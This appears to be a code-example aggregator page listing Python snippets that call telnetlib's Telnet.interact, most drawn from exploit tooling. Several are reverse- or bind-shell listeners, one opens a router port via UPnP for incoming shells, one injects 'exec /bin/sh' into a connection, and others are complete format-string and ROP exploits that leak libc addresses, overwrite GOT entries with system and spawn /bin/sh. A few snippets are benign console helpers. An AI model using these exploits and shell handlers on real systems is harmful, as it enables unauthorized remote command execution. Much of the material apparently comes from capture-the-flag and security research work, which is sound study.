Python Telnet.interact方法代码示例

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
    def listen(self, port=4444, echotest=False):
        check_cmd = 'echo "\x1b[32mgot a shell!\x1b[0m"'  # green

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.bind(('', port))  # the empty string represents INADDR_ANY
        s.listen(1)

        if isinstance(self.p, Popen):
            addrinfo = socket.getaddrinfo('localhost', port, socket.AF_INET, socket.SOCK_STREAM)
            host = addrinfo[0][4][0]
        else:
            host = self.p.getsockname()[0]
        yield (host, port)

        c, addr = s.accept()
        s.close()
        if echotest:
            c.sendall(check_cmd + '\n')
            sys.stdout.write(c.recv(8192))

        t = Telnet()
        t.sock = c
        t.interact()
        t.close()
        self.close()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
def upnpbind(ex_port=None):
    location = search_device()
    in_ip = get_internal_ip_address(location)
    control_url = get_control_url(location)
    ex_ip = get_external_ip_address(control_url)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((in_ip, 0))
    s.listen(1)
    in_addr = s.getsockname()
    if ex_port:
        ex_addr = (ex_ip, ex_port)
    else:
        ex_addr = (ex_ip, in_addr[1])
    print >>sys.stderr, "[+] bind: %r" % (in_addr,)

    add_port_mapping(control_url, ex_addr, in_addr)

    try:
        c, remote_addr = s.accept()
        print >>sys.stderr, "[+] accept: %r" % (remote_addr,)
        s.close()

        t = Telnet()
        t.sock = c
        t.interact()
        t.close()
    finally:
        delete_port_mapping(control_url, ex_addr)

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
	def interact(self):
		if self.state == 0:
			print "No connection available"
			return None
		else:
			from telnetlib import Telnet
			telnet = Telnet()
			telnet.sock = self.skt
			telnet.interact()
			return None

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
def telnetinteract(s = None):
  if s is None: s = sock
  with printer() as P:
    while select.select([s], [], [], 0.1)[0]:
      cc = s.recv(1)
      if len(cc) < 1:
        break # Maybe print socket is dead and exit instead.
      P(cc)
  from telnetlib import Telnet
  t = Telnet()
  t.sock = s
  stderr.write('\n'+CYLW+'---telnet interact'+CRST+'\n')
  t.interact()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
    def interact(self):
        from telnetlib import Telnet

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        s.bind((self._revHost, self._revPort))
        s.listen(5)
        cli = s.accept()[0]
        s.close()
        print("[+] Got connect-back")

        t = Telnet()
        t.sock = cli
        t.interact()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
    def wait(self, redirect_fd=None):
        check_cmd = 'echo "\x1b[32mgot a shell!\x1b[0m"'  # green

        buf = self.read()
        sys.stdout.write(buf)

        if isinstance(self.p, Popen):
            if redirect_fd is not None:
                self.write(check_cmd + '\n')
                sys.stdout.write(self.read())
                self.write('exec /bin/sh <&2 >&2\n')
            self.p.wait()
            return self.p.returncode
        else:
            if redirect_fd is not None:
                self.write(check_cmd + '\n')
                sys.stdout.write(self.read())
                self.write("exec /bin/sh <&%(fd)d >&%(fd)d 2>&%(fd)d\n" % {'fd': redirect_fd})
            t = Telnet()
            t.sock = self.p
            t.interact()
            t.close()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
def main():

    coordinates =  '51.492137,-0.192878 '
    libc_setsockopt_offset = 0xea8e0
    libc_system_offset = 0x3af40
    libc_binsh_offset = 0x15ef08
    strchr_got_offset = 0x505c
    
    tn  = Telnet(HOST, PORT)
    stage = 0
    while stage < 5:
        try:
            game(tn)
            stage += 1
        except:
            del(tn)
            tn  = Telnet(HOST, PORT)
            stage = 0

    
    tn.read_until(b'TARDIS KEY: ')
    tn.write(b'UeSlhCAGEp\n')
    tn.read_until(b'Selection: ')
    tn.write(b'11111111\x00')

    print('wait for alarm')
    time.sleep(3)

    tn.write(struct.pack('L', 1431907181))
    tn.write(b'11111111\xff')
    tn.write(b'1\n')
    
    
    tn.read_until(b'Selection: ')
    tn.write(b'3\n')
    
    tn.read_until(b'Coordinates: ')
    tn.write(coordinates.encode())
    tn.write('zzz%{}$p\n'.format(int((0xff8ce05c-0xff8cdc0c)/4-1)).encode())
    tn.read_until(b'zzz')
    
    base_addr = int(tn.read_some()[0:10].decode(), 16) - 0x1491
    print('base addr : {}'.format(hex(base_addr)))
    
    tn.read_until(b'Coordinates: ')

    tn.write(coordinates.encode())
    tn.write(b'zzzz')
    tn.write(struct.pack('<I', base_addr+0x500c)) 
    tn.write(b'%21$s\n')
    tn.read_until(b'zzzz')
    setsockopt_addr = struct.unpack('<I', tn.read_some()[4:8])[0]
    print('setsockopt :{}'.format(hex(setsockopt_addr)))

    libc_system = setsockopt_addr - (libc_setsockopt_offset - libc_system_offset)
    libc_binsh = setsockopt_addr - (libc_setsockopt_offset - libc_binsh_offset)

    print('system :{}'.format(hex(libc_system)))

    strchr_got = base_addr + strchr_got_offset

    print('strchr_got :{}'.format(hex(strchr_got)))

    p = FormatStr()
    p[strchr_got] = libc_system - 0x14 - 0x140000

    tn.write(coordinates.encode())
    tn.write(p.payload(20) + b'\n')

    tn.read_until(b'Coordinates: ')
    tn.read_until(b'Coordinates: ')
    tn.write(b'/bin/sh\n')
    tn.interact()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
 def kvm_console(self, options):
     client = Telnet(self.get_hypervisor().get_ips()[0], self.attr_value(key="kvm", subkey="console"))
     client.interact()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
		try:
			skt.connect((self.host, 4444))
		except socket.error, err:
			print "[-] Error: %s" % err[1]
			print "[-] Explotation failed\n[-] Daemon should be dead..."
			return None
		print "[+] Connected to shell at %s on port %d" % (self.host, 4444)
		res = skt.recv(1024)
		if res:
			if res.count('Microsoft Windows'):
				print "[+] Welcome my lord, i'm here to serve you ;) ...\n"
				from telnetlib import Telnet
				telnet = Telnet()
				telnet.sock = skt
				try:
					telnet.interact()
				except:
					pass
				skt.close()
				print "[-] Bye..bye I hope you've enjoyed your stay.. ;)"
				return None
		skt.close()
		print '[-] Explotation failed\nDaemon should be dead...'

if __name__ == '__main__':
	if len(sys.argv) != 3:
		print "*************************************"
		print "* Coded by Sergio 'shadown' Alvarez *"
		print "*          [email protected]        *"
		print "*************************************"
		print "Usage: %s host port" % sys.argv[0]

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
def shell():
    tn2 = Telnet(HOST, S_PORT)
    tn2.interact()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
    def _post_run(self):
        r = self.command.result

        i = count()
        rows = list()
        listening = list()
        for h in r.hook_files:
            sessions = h.remote_debug_sessions
            if not sessions:
                continue

            for s in sessions:
                state = s.state
                is_listening = False
                if state == 'listening':
                    is_listening = True
                    if not self._debug_:
                        state = state + '*'

                row = [ i.next(), s.hook_name, s.pid, s.host, s.port, state ]

                if s.state == 'connected':
                    row.append('%s:%d' % (s.dst_host, s.dst_port))
                else:
                    row.append('-')

                rows.append(row)

                if is_listening:
                    listening.append(row)

        if not rows:
            m = "No remote debug sessions found for repository '%s'.\n"
            sys.stdout.write(m % r.name)
            return

        header = ('ID', 'Hook', 'PID', 'Host', 'Port', 'State', 'Connected')
        rows.insert(0, header)

        k = Dict()
        k.banner = (
            "Remote Debug Sessions for Repository '%s'" % r.name,
            "(%s)" % r.path,
        )
        if not self._debug_:
            if len(listening) == 1:
                k.footer = (
                    "(*) type 'evnadmin debug %s' "
                    "to debug this session" % self.command.name
                )
            elif len(listening) > 1:
                # Ugh, this is highly unlikely and I can't think of a good way
                # to handle it at the moment.
                k.footer = '(*) multiple listeners?!'

        k.formats = lambda: chain((str.rjust,), repeat(str.center))
        k.output = sys.stdout
        #k.special = '='
        render_text_table(rows, **k)

        if not self._debug_:
            return

        if len(listening) != 1:
            return

        from telnetlib import Telnet
        listen = listening[0]
        host = listen[3]
        port = listen[4]
        t = Telnet(host, port)
        t.interact()

# 需要导入模块: from telnetlib import Telnet [as 别名]
# 或者: from telnetlib.Telnet import interact [as 别名]
sock.send(flag)
sock.send(op)

libc_pointer = 0
import sys
for i in xrange(0, OUTPUT_SIZE):
  c = sock.recv(1)
  if not c:
    sys.stdout.write('\n')
    break
  else:
    sys.stdout.write('%02x ' % ord(c))
    #sys.stdout.write(repr(c)[1:-1])
    if i%8 == 7:
      sys.stdout.write('\n')
    sys.stdout.flush()
    if 24 <= i < 32: # THIS IS OUR LIBC POINTER
      libc_pointer += ord(c) << (8*(i-24))

from time import sleep
sleep(1)
libc_pointer += 5518181 # offset to magic gadget
sock.send(pack('<Q', 0x0000000000400be9) * 32)
sock.send(pack('<Q', libc_pointer))

from telnetlib import Telnet
t = Telnet()
t.sock = sock
print "take the wheel"
t.interact()